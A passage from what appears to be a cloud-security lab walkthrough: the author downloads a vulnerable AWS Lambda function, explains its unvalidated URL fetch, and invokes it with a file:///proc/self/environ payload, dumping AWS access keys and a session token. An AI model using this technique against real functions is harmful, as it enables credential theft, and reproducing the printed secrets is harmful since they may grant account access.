</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;LogGroup&#34;</span>: <span style="color:#e6db74">&#34;/aws/lambda/huge-logistics-status&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Code&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;RepositoryType&#34;</span>: <span style="color:#e6db74">&#34;S3&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Location&#34;</span>: <span style="color:#e6db74">&#34;https://prod-iad-c1-djusa-tasks.s3.us-east-1.amazonaws.com/snapshots/427648302155/huge-logistics-status-ebb6abbc-63e9-47f8-b5a3-9dfc4c2e69dc?versionId=GXaKVxYEoBEFPyPl3E9avQChcfMNvUCf&amp;X-Amz-Security-Token=IQoJb3JpZ2luX2VjENr%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIH97Sh5SSH0xia54CuXAM7qsdU7ihMV9ZeEtpeSythRoAiEA7MnuXVEWZN8EkvDyiVGitkTdD5WNXBZ6nJnAwAJtofcqwwUIsv%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FARAEGgw0NzkyMzMwMjUzNzkiDOCQLlp2L16xtzOWmyqXBco8bTCq5Jwb%2Fws8HZx%2B414lred68wQAuSjyl2%2Blgm%2BLW1dTFWEfuJAwvXpFd6w7i8GF54oLvwByT%2FSvfn6f9qW8enQ5ekz%2BxyJm6sHXoMmFjw3kLJvlAqUuMVcUaFcz%2FVwTgvhYjiuuh63aybhxBe8%2B7iNr1Q1kOq9r7iTFTajiJHbh%2FX1xRuW0hyueAsal9pwcwfTIozdqq%2BQCRY1hhG48SESY5bfdtvoK4Xt8zSbUiFXuHWKH5FwmC4K9G2PvXFQY2ESpV1Sk5nT1V5Vst4E%2B40mod3vUdWPy%2BFl%2FEV%2FVIeQdHQ6FoNC9oSBQhIPqxaYXI0akF9iJ32%2BoQDhR4NPgbXTvHWyVVfa2r3fxaHYEd6d1BBpNw%2Bbb2P2g8bvL%2Fuqk%2FZwea8jPKxRoNa3yeiiatpPi4HBpKzLsmYdoU8Nq7yjVIwm%2FvPhCAFWq%2BTyQmVblxyxRSsFAiHfXGPdrJachGM2xxmY%2Bjv2dlpTfWtRSp2mcq%2FQw6LUQZtHk3ab3ndYfK6FhP4h5MgNqJ6xsqiL4GOYe6zZa4kOrKKfEmQ2klutSNUIwRamiZsQFI0NXqJV9bzoG5Q7kXBhnzX1uhRjBM10MG%2F5X3niiyH0wS7HokKkdiUDYsbex7Nhj8dRkIxYuw%2BMgNIyGJ0he0fAOR98tYyWQApq%2FWCP%2BqlxUyi50cNis9vaJJEC%2Bv8fa%2BiCIUGPlYvXuRbskiCKOIPiW7jOrL35LcpRpa8I5B%2FB8RVfvBf1XO%2BX5It6MxGsT6veCGSWg4Ja3agxDs%2BCSvocY4Jw%2BgKjnEvx%2B9aFm%2Bfnlpf%2B5NrkmA6zrCVuQ0OgcuqmdEs267GH5%2FauGml4Quv43eqzu3jYrlTVzWp43hH4n%2FOHWLXLw0NNu%2BjCp0Ia1BjqxAdzqW5pkxVnEDKI1S9jPft12%2FYS2YAax%2F%2BmddJV6UPPUc0rlo4E1mPyteBnga%2FYZ7pgTQ1MOoJl96JCP0PUo4irD0ONpnC80Jui803j3ULlB5z6TZ6OqULEkeK5%2BTAi%2F%2B1uoMAl1zEvnC04kCRxfpg%2B3Rl1seja%2FLvtuad2eWwNSjgoMe%2BvR161mQfCthUd0gSD9fR6qmIEOZB%2BI9zHVmD8LKndT2JV7bH52GHdAJ91rzg%3D%3D&amp;X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;X-Amz-Date=20240725T021049Z&amp;X-Amz-SignedHeaders=host&amp;X-Amz-Expires=599&amp;X-Amz-Credential=ASIAW7FEDUVRU3ZRZFPA%2F20240725%2Fus-east-1%2Fs3%2Faws4_request&amp;X-Amz-Signature=987b2f23efaf48e24adeb021fba1cc1261882eda39fb965ef0623826c27d9e1c&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We have been able to download the zip file</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ wget <span style="color:#e6db74">&#39;https://prod-iad-c1-djusa-tasks.s3.us-east-1.amazonaws.com/snapshots/427648302155/huge-logistics-status-ebb6abbc-63e9-47f8-b5a3-9dfc4c2e69dc?versionId=GXaKVxYEoBEFPyPl3E9avQChcfMNvUCf&amp;X-Amz-Security-Token=IQoJb3JpZ2luX2VjENr%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJIMEYCIQD96gx8luPXuMru60QpJrCQnd21AvZGFZQuL29st3kAgQIhAM9hm09BgU%2BOhk3BWephW1YMhNqB4YJTH784zPwDYX96KsMFCLP%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEQBBoMNDc5MjMzMDI1Mzc5IgxxQiKRqCxHSczV3BgqlwVJbUhabfULZzjYqIJLd%2Fpnby%2FuWtRO5VflGyMD9MBLeilm9t%2B9KENNCZT1PemNvL6pnA%2BtoGFPjOVvrHbfACCb2tY1q9Iq%2Fh%2BWFH2bLVQfyKOD8IIA0ne38%2BICH%2FBClpAz3FMFh19vewRt7Gr%2BmWGhbCmMUfFYnesRwV0PPL81UylNl5kjmdSdKi9FL7wWUaYVHOlUpuH%2Bb1YBUw5zRYFa6cCX%2F87KDsBxe%2FdEFkRDGZ9RAzkIGw3tCuXhNnoWXOSIxnQhIYN6QTZUwa7HpAIQfraodAoOBPqRNcWDozBeTO%2B53US%2F%2BtvMs7qsENv5mqyTOADsI%2BugYHsU5qBg2ciiljR8s4kNhsO%2B37yEaQxx767hVEWJ7xgswBIJrw0W4HRV3%2BfLLUAofbpx%2BSKQc6%2B%2BIL63bGfL2%2BmaJ1htyp%2Bywbvup6mVmtbtLYTb7M3MgjieRo9mo3%2FLGenDFPNp4r6R4QXB%2FIAQH%2F06KSLzUjykJorQQYZjPtd7HO3txTPNfOZbYMP0EvkvCiyD8QGb%2F77NP3QKhcxmdqYGvuHG6JMMFyt670jBxgoJTHHZDgwV%2Bdc39uvAfoOmclN3LPDiXp86fpiiwvBMBSHHch%2BM0LveGtIi0WFD3%2FUAUtuImCNXK21f%2Be05p8mwkQxar1nJobMxFuvO39%2FJgjNFPdcXSIPoLNQ1OJh5MLKwS0qY%2BOpjm9531Hetk%2BEuF%2FV%2BhQGW7LqD8Qwb08znaMCiwfcv9jHhbJAWoCFGSL59QvqvVCu58vYZO2zY4pD3xGTEP8SrzACCQRJWUVRRXItdmhHEQ0jTz4vOr3eunoeGBws8qMQx9YaZiXU7AtREyOTV3FEaXgdKkOusDZa9pvZt2W4FEGbv4yMO3g9v9bAw2deGtQY6sAHPa03ge8ZlsGjlF9AupnpXYNDC3KfumbRmnXL2X%2FuAi830TJmATlhBxHHqKK9FnCfPkcZLIuAOkKw5WuVKlWkqc%2ByXy4AHodmvCIba6LjNgWDNpuzTV3Pognh6tnbWXS%2FwnD83TQUdhrhAZOyU0ayDSMMb6fz9JIxsrdwBSjo9Mwbhf6xx3VMcPo%2FzXUXR0tQwLfvRZb7KOaW5iYAq3Aa3OTcFKqJBLSgVIBuIOUQjWQ%3D%3D&amp;X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;X-Amz-Date=20240725T022153Z&amp;X-Amz-SignedHeaders=host&amp;X-Amz-Expires=600&amp;X-Amz-Credential=ASIAW7FEDUVR4LHAEQXQ%2F20240725%2Fus-east-1%2Fs3%2Faws4_request&amp;X-Amz-Signature=6204ae30eaf5eec0878200e1a7ac31829f3c67361ef04af800a872f620fdf661&#39;</span> -O huge-logistics-status.zip
</span></span><span style="display:flex;"><span>--2024-07-25 10:26:43--  https://prod-iad-c1-djusa-tasks.s3.us-east-1.amazonaws.com/snapshots/427648302155/huge-logistics-status-ebb6abbc-63e9-47f8-b5a3-9dfc4c2e69dc?versionId<span style="color:#f92672">=</span>GXaKVxYEoBEFPyPl3E9avQChcfMNvUCf&amp;X-Amz-Security-Token<span style="color:#f92672">=</span>IQoJb3JpZ2luX2VjENr%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJIMEYCIQD96gx8luPXuMru60QpJrCQnd21AvZGFZQuL29st3kAgQIhAM9hm09BgU%2BOhk3BWephW1YMhNqB4YJTH784zPwDYX96KsMFCLP%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEQBBoMNDc5MjMzMDI1Mzc5IgxxQiKRqCxHSczV3BgqlwVJbUhabfULZzjYqIJLd%2Fpnby%2FuWtRO5VflGyMD9MBLeilm9t%2B9KENNCZT1PemNvL6pnA%2BtoGFPjOVvrHbfACCb2tY1q9Iq%2Fh%2BWFH2bLVQfyKOD8IIA0ne38%2BICH%2FBClpAz3FMFh19vewRt7Gr%2BmWGhbCmMUfFYnesRwV0PPL81UylNl5kjmdSdKi9FL7wWUaYVHOlUpuH%2Bb1YBUw5zRYFa6cCX%2F87KDsBxe%2FdEFkRDGZ9RAzkIGw3tCuXhNnoWXOSIxnQhIYN6QTZUwa7HpAIQfraodAoOBPqRNcWDozBeTO%2B53US%2F%2BtvMs7qsENv5mqyTOADsI%2BugYHsU5qBg2ciiljR8s4kNhsO%2B37yEaQxx767hVEWJ7xgswBIJrw0W4HRV3%2BfLLUAofbpx%2BSKQc6%2B%2BIL63bGfL2%2BmaJ1htyp%2Bywbvup6mVmtbtLYTb7M3MgjieRo9mo3%2FLGenDFPNp4r6R4QXB%2FIAQH%2F06KSLzUjykJorQQYZjPtd7HO3txTPNfOZbYMP0EvkvCiyD8QGb%2F77NP3QKhcxmdqYGvuHG6JMMFyt670jBxgoJTHHZDgwV%2Bdc39uvAfoOmclN3LPDiXp86fpiiwvBMBSHHch%2BM0LveGtIi0WFD3%2FUAUtuImCNXK21f%2Be05p8mwkQxar1nJobMxFuvO39%2FJgjNFPdcXSIPoLNQ1OJh5MLKwS0qY%2BOpjm9531Hetk%2BEuF%2FV%2BhQGW7LqD8Qwb08znaMCiwfcv9jHhbJAWoCFGSL59QvqvVCu58vYZO2zY4pD3xGTEP8SrzACCQRJWUVRRXItdmhHEQ0jTz4vOr3eunoeGBws8qMQx9YaZiXU7AtREyOTV3FEaXgdKkOusDZa9pvZt2W4FEGbv4yMO3g9v9bAw2deGtQY6sAHPa03ge8ZlsGjlF9AupnpXYNDC3KfumbRmnXL2X%2FuAi830TJmATlhBxHHqKK9FnCfPkcZLIuAOkKw5WuVKlWkqc%2ByXy4AHodmvCIba6LjNgWDNpuzTV3Pognh6tnbWXS%2FwnD83TQUdhrhAZOyU0ayDSMMb6fz9JIxsrdwBSjo9Mwbhf6xx3VMcPo%2FzXUXR0tQwLfvRZb7KOaW5iYAq3Aa3OTcFKqJBLSgVIBuIOUQjWQ%3D%3D&amp;X-Amz-Algorithm<span style="color:#f92672">=</span>AWS4-HMAC-SHA256&amp;X-Amz-Date<span style="color:#f92672">=</span>20240725T022153Z&amp;X-Amz-SignedHeaders<span style="color:#f92672">=</span>host&amp;X-Amz-Expires<span style="color:#f92672">=</span>600&amp;X-Amz-Credential<span style="color:#f92672">=</span>ASIAW7FEDUVR4LHAEQXQ%2F20240725%2Fus-east-1%2Fs3%2Faws4_request&amp;X-Amz-Signature<span style="color:#f92672">=</span>6204ae30eaf5eec0878200e1a7ac31829f3c67361ef04af800a872f620fdf661
</span></span><span style="display:flex;"><span>Resolving prod-iad-c1-djusa-tasks.s3.us-east-1.amazonaws.com <span style="color:#f92672">(</span>prod-iad-c1-djusa-tasks.s3.us-east-1.amazonaws.com<span style="color:#f92672">)</span>... 52.217.164.10, 52.217.227.26, 54.231.197.90, ...
</span></span><span style="display:flex;"><span>Connecting to prod-iad-c1-djusa-tasks.s3.us-east-1.amazonaws.com <span style="color:#f92672">(</span>prod-iad-c1-djusa-tasks.s3.us-east-1.amazonaws.com<span style="color:#f92672">)</span>|52.217.164.10|:443... connected.
</span></span><span style="display:flex;"><span>HTTP request sent, awaiting response... <span style="color:#ae81ff">200</span> OK
</span></span><span style="display:flex;"><span>Length: <span style="color:#ae81ff">775</span> <span style="color:#f92672">[</span>application/zip<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>Saving to: ‘huge-logistics-status.zip’
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>huge-logistics-status.zip        100%<span style="color:#f92672">[==========================================================</span>&gt;<span style="color:#f92672">]</span>     <span style="color:#ae81ff">775</span>  --.-KB/s    in 0s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2024-07-25 10:26:44 <span style="color:#f92672">(</span>42.9 MB/s<span style="color:#f92672">)</span> - ‘huge-logistics-status.zip’ saved <span style="color:#f92672">[</span>775/775<span style="color:#f92672">]</span>
</span></span></code></pre></div><p>We list the contents and can see that this contains a single Python File</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ unzip -l huge-logistics-status.zip
</span></span><span style="display:flex;"><span>Archive:  huge-logistics-status.zip
</span></span><span style="display:flex;"><span>  Length      Date    Time    Name
</span></span><span style="display:flex;"><span>---------  ---------- -----   ----
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">1663</span>  2023-07-15 17:20   lambda_function.py
</span></span><span style="display:flex;"><span>---------                     -------
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">1663</span>                     <span style="color:#ae81ff">1</span> file
</span></span></code></pre></div><p>The following is the code</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">import</span> os
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> json
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> urllib.request
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> datetime <span style="color:#f92672">import</span> datetime
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> boto3
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> uuid
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">lambda_handler</span>(event, context):
</span></span><span style="display:flex;"><span>    s3 <span style="color:#f92672">=</span> boto3<span style="color:#f92672">.</span>client(<span style="color:#e6db74">&#39;s3&#39;</span>)
</span></span><span style="display:flex;"><span>    bucket_name <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;hl-status-log-bucket&#39;</span>
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">try</span>:
</span></span><span style="display:flex;"><span>        target <span style="color:#f92672">=</span> event<span style="color:#f92672">.</span>get(<span style="color:#e6db74">&#39;target&#39;</span>, <span style="color:#e6db74">&#39;http://huge-logistics.com&#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        response <span style="color:#f92672">=</span> urllib<span style="color:#f92672">.</span>request<span style="color:#f92672">.</span>urlopen(target)
</span></span><span style="display:flex;"><span>        data <span style="color:#f92672">=</span> response<span style="color:#f92672">.</span>read()
</span></span><span style="display:flex;"><span>        return_status <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;Service is available.&#39;</span> <span style="color:#66d9ef">if</span> response<span style="color:#f92672">.</span>getcode() <span style="color:#f92672">==</span> <span style="color:#ae81ff">200</span> <span style="color:#66d9ef">else</span> <span style="color:#e6db74">&#39;Service is not available.&#39;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#39;statusCode&#39;</span>: response<span style="color:#f92672">.</span>getcode(),
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#39;statusMessage&#39;</span>: return_status,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#39;body&#39;</span>: data<span style="color:#f92672">.</span>decode(<span style="color:#e6db74">&#39;utf-8&#39;</span>)
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">except</span> urllib<span style="color:#f92672">.</span>error<span style="color:#f92672">.</span>HTTPError <span style="color:#66d9ef">as</span> e:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#39;statusCode&#39;</span>: e<span style="color:#f92672">.</span>code,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#39;body&#39;</span>: json<span style="color:#f92672">.</span>dumps({
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#39;message&#39;</span>: <span style="color:#e6db74">&#39;HTTP error occurred.&#39;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#39;details&#39;</span>: str(e)
</span></span><span style="display:flex;"><span>            })
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">except</span> <span style="color:#a6e22e">Exception</span> <span style="color:#66d9ef">as</span> e:
</span></span><span style="display:flex;"><span>        debug_info <span style="color:#f92672">=</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#39;error_message&#39;</span>: str(e),
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#39;request_time&#39;</span>: datetime<span style="color:#f92672">.</span>utcnow()<span style="color:#f92672">.</span>isoformat(),
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#39;requested_website&#39;</span>: target,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#39;event&#39;</span>: event,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#39;error_id&#39;</span>: str(uuid<span style="color:#f92672">.</span>uuid4()),
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        debug_info_json <span style="color:#f92672">=</span> json<span style="color:#f92672">.</span>dumps(debug_info)
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>        <span style="color:#75715e"># Try to upload to S3</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">try</span>:
</span></span><span style="display:flex;"><span>            s3<span style="color:#f92672">.</span>put_object(Body<span style="color:#f92672">=</span>debug_info_json, Bucket<span style="color:#f92672">=</span>bucket_name, Key<span style="color:#f92672">=</span><span style="color:#e6db74">f</span><span style="color:#e6db74">&#39;debug_info_</span><span style="color:#e6db74">{</span>context<span style="color:#f92672">.</span>aws_request_id<span style="color:#e6db74">}</span><span style="color:#e6db74">.json&#39;</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">except</span> <span style="color:#a6e22e">Exception</span> <span style="color:#66d9ef">as</span> s3_e:
</span></span><span style="display:flex;"><span>            print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;Failed to upload debug info to S3: </span><span style="color:#e6db74">{</span>str(s3_e)<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#39;statusCode&#39;</span>: <span style="color:#ae81ff">500</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#39;body&#39;</span>: json<span style="color:#f92672">.</span>dumps({
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#39;message&#39;</span>: <span style="color:#e6db74">&#39;Unexpected error occurred.&#39;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#39;debug_info&#39;</span>: debug_info
</span></span><span style="display:flex;"><span>            })
</span></span><span style="display:flex;"><span>        }
</span></span></code></pre></div><p>There are a couple of major issues with the code being, the <code>target</code> URL is taken directly from the event without validation nor is validation performed on the parameter to ensure that it is safe and not an internal resource.  Given that this is Lambda and is hosted on EC2 instance, this also could allow us to perform arbitrary file reads using <code>file://</code> URL scheme.</p>
<p>We will invoke the function with the default values</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile cognito lambda invoke --function-name huge-logistics-status response.json
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;StatusCode&#34;</span>: 200,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;ExecutedVersion&#34;</span>: <span style="color:#e6db74">&#34;</span>$LATEST<span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>This returns a 200 status code and we have the page source code as well.  To validate that this is vulnerable we can specify another URL</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile cognito lambda invoke --function-name huge-logistics-status --payload <span style="color:#e6db74">&#39;{ &#34;target&#34;: &#34;http://example.com&#34; }&#39;</span> response.json
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Invalid base64: <span style="color:#e6db74">&#34;{ &#34;</span>target<span style="color:#e6db74">&#34;: &#34;</span>http://example.com<span style="color:#e6db74">&#34; }&#34;</span>
</span></span></code></pre></div><p>We get an error as we are using the v2 CLI and we will need to pass in some additional parameters to achieve this</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile cognito lambda invoke --cli-binary-format raw-in-base64-out --function-name huge-logistics-status --payload <span style="color:#e6db74">&#39;{ &#34;target&#34;: &#34;http://example.com&#34; }&#39;</span> response.json
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;StatusCode&#34;</span>: 200,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;ExecutedVersion&#34;</span>: <span style="color:#e6db74">&#34;</span>$LATEST<span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><blockquote>
<p>Example code from <a href="https://docs.aws.amazon.com/cli/latest/userguide/cli_lambda_code_examples.html">https://docs.aws.amazon.com/cli/latest/userguide/cli_lambda_code_examples.html</a></p>
</blockquote>
<p>So now that we know we can manipulate the payload, lets see what we can find on the EC2 instance and given that this would be Linux, the most logical would be to see environment variables which can be achieved by querying <code>/proc/self/environ</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile cognito lambda invoke --cli-binary-format raw-in-base64-out --function-name huge-logistics-status --payload <span style="color:#e6db74">&#39;{ &#34;target&#34;: &#34;file:///proc/self/environ&#34; }&#39;</span> response.json
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;StatusCode&#34;</span>: 200,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;ExecutedVersion&#34;</span>: <span style="color:#e6db74">&#34;</span>$LATEST<span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We clean this up so that we can read it using <code>jq</code> and we can see that it contains AWS Keys</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ jq <span style="color:#e6db74">&#39;.body |= split(&#34;\u0000&#34;)&#39;</span> response.json
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;statusCode&#34;</span>: null,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;statusMessage&#34;</span>: <span style="color:#e6db74">&#34;Service is not available.&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;body&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;AWS_LAMBDA_FUNCTION_VERSION=</span>$LATEST<span style="color:#e6db74">&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjENv//////////wEaCXVzLWVhc3QtMSJHMEUCIQCShA3Vp8vpZAIs7vQDJyOUFog+WDtHRg2SZ7qGDEEFwQIgVUqN9gwlUHL0GRDDwyJ13bzMJk6gFeYWdnpDPtWIcVIqhwMItP//////////ARAAGgw0Mjc2NDgzMDIxNTUiDG1WZHqSbp4kYdjhoSrbAtmKsLpYTQh8sF4YjEVu+5hi/MW7Tx68aiNVviAOXorlkZuVx/AVZo0xWGcQGtKv4JqE2oSigjNcYFSBe6tetC+2tf7Qy/8JWKLwzj/x7wLCfP5xoDQOdwihBQUC0M+JU68LmGssC3MT+ydLHwOQTBKv9DGmaO1XsXY2OVFRlaSvdUaW8TewitlFjRR8a3aSbAD+uprYJETTI/2lGogzyM6NqSNI2i2k8PWqbt1AgPW/GBAVBC5HmvZIr50cdW+t0MC0jL53MSG2X94FM9doFBFWTirKoJWNyp8N3JOl65KUP+VFsD8rvDDPhmQvZkDEtsTkg3WNNl03CYPoLe1JU7K8CL+eGPfCoE6Tm5wUrsUPqD+HituQENCjlOBrPBpV7EsNP5ouGQocJAJHOVnpfwae6Y3yoSLy8E9AEy/FjyFDL8SjEl8JEqrcIuUjG7TZsd1gcN1yDlGaByWYMMX1hrUGOp4Bis+b1lH666r2X9PBKF0lp3NKifczWo04gMD3UnVS+UQl9R5DwkUxthTb8wexojdzsfMiKEa8mbBoampyNYHFnIGgBx+6bm8xB0mEngmMLLmzP5Dm5NywELosEYAuh0werG5PvJZ2fW3h9SgT1zXlRkrxuyp31XeYbxipnSwjrZSy+4G7PMKdX8h4lGv2oP5uhh7IywF9KgBTL0e7E+U=&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;LAMBDA_TASK_ROOT=/var/task&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;LD_LIBRARY_PATH=/var/lang/lib:/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib:/opt/lib&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;AWS_LAMBDA_LOG_GROUP_NAME=/aws/lambda/huge-logistics-status&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;AWS_LAMBDA_LOG_STREAM_NAME=2024/07/25/[</span>$LATEST<span style="color:#e6db74">]e40f3e32da534d75a4f7fc8a27db0ecc&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;AWS_LAMBDA_RUNTIME_API=127.0.0.1:9001&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;AWS_EXECUTION_ENV=AWS_Lambda_python3.10&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;AWS_LAMBDA_FUNCTION_NAME=huge-logistics-status&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;AWS_XRAY_DAEMON_ADDRESS=169.254.79.129:2000&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;PATH=/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/opt/bin&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;AWS_DEFAULT_REGION=us-east-1&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;PWD=/var/task&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;AWS_SECRET_ACCESS_KEY=lEuKhUmNAHzJzpI1MHzNreJgpWO6KKxZDbEQ2pMG&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;LANG=en_US.UTF-8&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;LAMBDA_RUNTIME_DIR=/var/runtime&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;AWS_LAMBDA_INITIALIZATION_TYPE=on-demand&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;AWS_REGION=us-east-1&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;TZ=:UTC&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;AWS_ACCESS_KEY_ID=ASIAWHEOTHRF5NBYV6U4&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;SHLVL=0&#34;</span>,
